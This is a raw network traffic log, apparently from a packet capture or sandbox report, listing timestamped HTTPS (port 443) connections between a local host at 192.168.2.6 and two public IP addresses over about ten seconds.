Jul 4, 2024 20:18:50.969657898 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.969664097 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.970505953 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.970613003 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.970623016 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.971240044 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.971333027 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.971338034 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.972219944 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:50.972309113 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:50.972321033 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.020833969 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.057552099 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.057559013 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.057706118 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.057713985 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.057898045 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.057941914 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.057974100 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.057981014 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058156967 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.058242083 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058248997 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058332920 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.058340073 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058461905 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058592081 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.058598042 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058619976 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058747053 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.058753014 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.058963060 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.059098005 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.059104919 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.059308052 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.059422016 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.059433937 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.059537888 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.059648037 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.059653997 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.061570883 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.061575890 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.061625004 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.061732054 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.063081026 CEST	49885	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.063081026 CEST	49886	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:51.063103914 CEST	443	49885	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.063117027 CEST	443	49886	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:51.065576077 CEST	49886	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:51.069469929 CEST	49886	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:51.069482088 CEST	443	49886	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:51.639374018 CEST	443	49886	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:51.673463106 CEST	49886	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:51.673495054 CEST	443	49886	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:51.835251093 CEST	443	49886	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:51.835345984 CEST	443	49886	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:51.835417032 CEST	49886	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:51.836004019 CEST	49886	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:51.838087082 CEST	49887	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.838141918 CEST	443	49887	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:51.838226080 CEST	49887	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.838577986 CEST	49887	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:51.838592052 CEST	443	49887	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:52.504930019 CEST	443	49887	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:52.509500027 CEST	49887	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:52.509524107 CEST	443	49887	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:52.897483110 CEST	49887	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:52.897625923 CEST	443	49887	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:52.897663116 CEST	49888	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:52.897721052 CEST	443	49888	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:52.897746086 CEST	49887	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:52.901580095 CEST	49888	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:52.901911974 CEST	49888	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:52.901928902 CEST	443	49888	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:53.512336016 CEST	443	49888	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:53.514883995 CEST	49888	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:53.514914989 CEST	443	49888	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:53.639337063 CEST	443	49888	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:53.639478922 CEST	443	49888	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:53.639528990 CEST	49888	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:53.640136003 CEST	49888	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:53.642014980 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:53.642046928 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:53.642115116 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:53.642452955 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:53.642466068 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:54.252262115 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:54.252413988 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:54.254343033 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:54.254352093 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:54.254561901 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:54.255940914 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:54.300504923 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.061208963 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.061280012 CEST	443	49889	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.061484098 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.063409090 CEST	49889	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.063409090 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.063433886 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.063601971 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.068418980 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.068430901 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.794370890 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.796914101 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.796930075 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.977930069 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.978372097 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.978379011 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.978430986 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.978442907 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.978482962 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:55.979242086 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:55.979298115 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.069061995 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.069130898 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.069140911 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.070003033 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.070060968 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.070067883 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.070914984 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.070976019 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.070982933 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.072360992 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.072408915 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.072415113 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.114581108 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.163559914 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.163568020 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.163613081 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.163629055 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.163636923 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.163669109 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.163688898 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.163697958 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.163703918 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.163732052 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.163758039 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.166663885 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.166731119 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.166743994 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.166928053 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.166977882 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.166985035 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.167383909 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.167433977 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.167437077 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.167448997 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.167488098 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.167875051 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.167927027 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.167934895 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.208326101 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.260325909 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.260410070 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.260416985 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.260498047 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.260550022 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.260560036 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.260788918 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.260845900 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.260853052 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.260987043 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.261049032 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.261055946 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.261641979 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.261691093 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.261698961 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.262425900 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.262476921 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.262482882 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.262727022 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.262774944 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.262780905 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.263330936 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.263380051 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.263386011 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.263644934 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.263700962 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.263708115 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.264368057 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.264425993 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.264431953 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.264523983 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.264576912 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.264583111 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.265086889 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.265135050 CEST	443	49890	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:56.265151024 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.265177011 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.265575886 CEST	49890	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:56.277743101 CEST	49891	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:56.277789116 CEST	443	49891	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:56.277884007 CEST	49891	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:56.278243065 CEST	49891	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:56.278255939 CEST	443	49891	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:56.873579979 CEST	443	49891	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:56.879374981 CEST	49891	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:56.879412889 CEST	443	49891	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:57.008995056 CEST	443	49891	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:57.009094000 CEST	443	49891	13.107.42.12	192.168.2.6
Jul 4, 2024 20:18:57.009166956 CEST	49891	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:57.009597063 CEST	49891	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:18:57.013479948 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:57.013504028 CEST	443	49892	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:57.013648033 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:57.017482042 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:57.017496109 CEST	443	49892	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:57.616384983 CEST	443	49892	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:57.619340897 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:57.619358063 CEST	443	49892	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:58.779720068 CEST	443	49892	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:58.779875040 CEST	443	49892	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:58.779895067 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:58.779917955 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:58.781483889 CEST	49892	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:58.781909943 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:58.781955957 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:58.782049894 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:58.782342911 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:58.782355070 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.596771002 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.599534035 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:59.599565983 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.916915894 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.916940928 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.916996956 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:59.917012930 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.917052984 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:59.918107986 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.918116093 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.918179989 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:59.918189049 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.918265104 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.918328047 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:18:59.918335915 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:18:59.918369055 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.016377926 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.016479969 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.016510010 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.016798019 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.016849995 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.016859055 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.017079115 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.017123938 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.017132044 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.018198013 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.018259048 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.018270969 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.062206984 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.112205029 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.112212896 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.112272024 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.112287998 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.112569094 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.112613916 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.112622023 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.113425970 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.113476038 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.113482952 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.113796949 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.113842964 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.113850117 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.114388943 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.114447117 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.114454985 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.115272045 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.115319967 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.115326881 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.115613937 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.115660906 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.115667105 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.161453009 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.208312988 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.208319902 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.208393097 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.208403111 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.208800077 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.208839893 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.208848953 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.208864927 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.208880901 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.209347963 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.209394932 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.209402084 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.209846020 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.209907055 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.209913015 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.210159063 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.210202932 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.210211039 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.210700989 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.210756063 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.210762978 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.210911036 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.210954905 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.210962057 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.211641073 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.211688042 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.211695910 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.211961985 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.212013006 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.212022066 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.212775946 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.212821007 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.212827921 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.213157892 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.213207960 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.213215113 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.213531017 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.213572979 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.213581085 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.255212069 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.307638884 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.307696104 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.308258057 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.308294058 CEST	443	49893	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:00.308345079 CEST	49893	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:00.320601940 CEST	49894	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:00.320631027 CEST	443	49894	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:00.320708990 CEST	49894	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:00.321073055 CEST	49894	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:00.321083069 CEST	443	49894	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:00.902350903 CEST	443	49894	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:00.907802105 CEST	49894	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:00.907833099 CEST	443	49894	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:01.076807976 CEST	443	49894	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:01.077073097 CEST	443	49894	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:01.077192068 CEST	49894	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:01.078948021 CEST	49894	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:01.078949928 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:01.078979969 CEST	443	49895	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:01.079638004 CEST	49895	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:01.083487034 CEST	49895	443	192.168.2.6	13.107.139.11
